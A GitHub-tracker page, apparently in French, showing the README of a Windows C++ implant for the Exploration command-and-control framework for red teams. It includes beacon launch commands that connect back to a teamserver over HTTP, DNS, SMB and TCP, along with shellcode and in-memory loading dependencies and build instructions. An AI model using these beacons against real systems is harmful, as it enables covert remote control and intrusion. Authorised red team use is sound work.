maxDcb/C2Implant
maxDcb/C2Implant has 53 GitHub stars and 12 forks. GitHot measured 0 stars in 24 hours and +2 in 7 days. Last checked 2026-11-13 15:59 UTC. Last push 2026-10-31.
Progression mesurée des étoiles
- in 24h
- 0
- in 7 days
- +2
- in 15 days
- Historique en cours
- in 1 month
- Historique en cours
Variations nettes sur des périodes qui se chevauchent, pas des totaux quotidiens. Les mesures absentes restent vides. Les étoiles indiquent l’intérêt, pas la qualité.
À propos
Windows C++ Implant for Exploration C2
SécuritéREADME.md
OriginalExploration C2 Implant
Overview
Exploration is a lightweight, modular Command and Control (C2) framework designed for red team operations. This repository provides the Beacon component implemented in C++ for targeting Windows systems. The corresponding TeamServer and Client components are available in the C2TeamServer repository.
This project includes multiple Beacons capable of communicating with the TeamServer through a variety of channels. Default communication methods include HTTP/HTTPS, DNS, SMB, and TCP. The experimental GitHub transport is available only through an explicit build option.
Communication Examples
# HTTP/HTTPS
BeaconHttp.exe <TEAMSERVER_IP> <LISTENER_PORT> <http|https>
BeaconHttp.exe 10.10.10.10 8443 https
BeaconHttp.exe 10.10.10.10 8080 http
# DNS
BeaconDns.exe <DNS_SERVER> <TEAMSERVER_DOMAIN>
BeaconDns.exe 8.8.8.8 bac.superdomain.com
# SMB
BeaconSmb.exe <LISTENER_IP> <PIPE_NAME>
BeaconSmb.exe 127.0.0.1 pipename
# TCP
BeaconTcp.exe <LISTENER_IP> <LISTENER_PORT>
BeaconTcp.exe 127.0.0.1 4444
Build Instructions
Submodules & External Dependencies
This project relies on several third-party libraries and tools:
- Donut: Generates shellcode from PE files.
- COFFLoader: Executes object files such as those in CS-Situational-Awareness-BOF.
- MemoryModule: Enables runtime DLL loading.
- UnmanagedPowerShell: Executes PowerShell from unmanaged code.
- cpp-base64: Base64 encoding/decoding, built locally as the
c2_base64CMake target. - libssh2: SSH client support for the
SshExecmodule, provided by Conan. - nlohmann/json: JSON parsing, provided by Conan.
Preparing the Environment
Install prerequisites:
- Chocolatey
- CMake
- Conan 2
- Visual Studio 2022 with the C++ toolchain
choco install cmake --pre
python -m pip install --user conan
Initialize submodules:
git submodule update --init
Building the Windows Beacons and Modules
The experimental GitHub beacon is excluded by default. Add
-DC2_ENABLE_GITHUB_TRANSPORT=ON during CMake configuration to build
BeaconGithub.exe and BeaconGithubDll.dll for dedicated testing.
The supported local configuration is Release with the static MSVC runtime (/MT). The top-level CMake file configures Conan so libssh2, OpenSSL/zlib transitive dependencies, and local targets use the same runtime.
Windows x64
Using the "x64 Native Tools Command Prompt for VS":
cmake -S . -B build-conan -G "Visual Studio 17 2022"
cmake --build build-conan --config Release -- /m
From WSL, prefer the Visual Studio CMake executable so the generated paths stay Windows-native:
'/mnt/c/Program Files/Microsoft Visual Studio/2022/Community/Common7/IDE/CommonExtensions/Microsoft/CMake/CMake/bin/cmake.exe' \
-S E:/Dev/C2Implant \
-B E:/Dev/C2Implant/build-conan \
-G "Visual Studio 17 2022"
'/mnt/c/Program Files/Microsoft Visual Studio/2022/Community/Common7/IDE/CommonExtensions/Microsoft/CMake/CMake/bin/cmake.exe' \
--build E:/Dev/C2Implant/build-conan \
--config Release \
-- /m
Windows x86
cmake -S . -B build-conan-x86 -G "Visual Studio 17 2022" -A Win32
cmake --build build-conan-x86 --config Release -- /m
Windows ARM64
cmake -S . -B build-conan-arm64 -G "Visual Studio 17 2022" -A ARM64 "-DCONAN_INSTALL_ARGS=--build=missing;-o;openssl/*:no_asm=True"
cmake --build build-conan-arm64 --config Release -- /m
Conan Notes
Dependencies are declared in conanfile.txt. The CMake provider runs conan install automatically during configuration.
For Visual Studio generators, only the Release Conan configuration is installed by default. If you need a Debug build, configure with a cache override such as:
cmake -S . -B build-conan -G "Visual Studio 17 2022" -DCONAN_INSTALL_CONFIGURATIONS="Release;Debug"
Do not manually force /MT through CMAKE_CXX_FLAGS; the project uses CMAKE_MSVC_RUNTIME_LIBRARY before project() so Conan detects the correct runtime.
Output Locations
- Compiled Beacons:
Release\Beacons - Compiled Module DLLs:
Release\Modules
CI/CD Contract
GitHub Actions uses two workflows:
CI: builds and tests the Windows Release configuration forx64,x86, andARM64on pull requests, branch pushes, and manual runs withC2CORE_BUILD_TESTS=ON. The ARM64 build and test run on a Windows ARM64 runner.CD: builds production Beacon and Module deliverables forx64,x86, andARM64on tags and manual runs without enablingC2CORE_BUILD_TESTS.
The release archive is staged from a clean artifact directory. It does not rename or delete the local Release\Beacons and Release\Modules folders.
Each archive contains only the deliverables consumed by C2TeamServer releases:
WindowsBeacons: Beacon executables and DLLsWindowsModules: module DLLs
CI publishes one archive per architecture:
C2Implant-windows-x64.zipC2Implant-windows-x86.zipC2Implant-windows-arm64.zip
Explorer des projets similaires
trimstray/the-book-of-secret-knowledge
Une collection de listes inspirantes, de manuels, d’antisèches, de blogs, d’astuces, de commandes en une ligne, d’outils CLI et web, et plus encore.
258,181 étoilesHack-with-Github/Awesome-Hacking
Une collection de diverses listes awesome pour les hackers, les pentesters et les chercheurs en sécurité.
125,360 étoilesswisskyrepo/PayloadsAllTheThings
Une liste de payloads et de méthodes de contournement utiles pour la sécurité des applications web et le pentest/CTF.
82,649 étoilescaddyserver/caddy
Serveur web HTTP/1-2-3 rapide, extensible et multiplateforme, avec HTTPS automatique
79,038 étoiles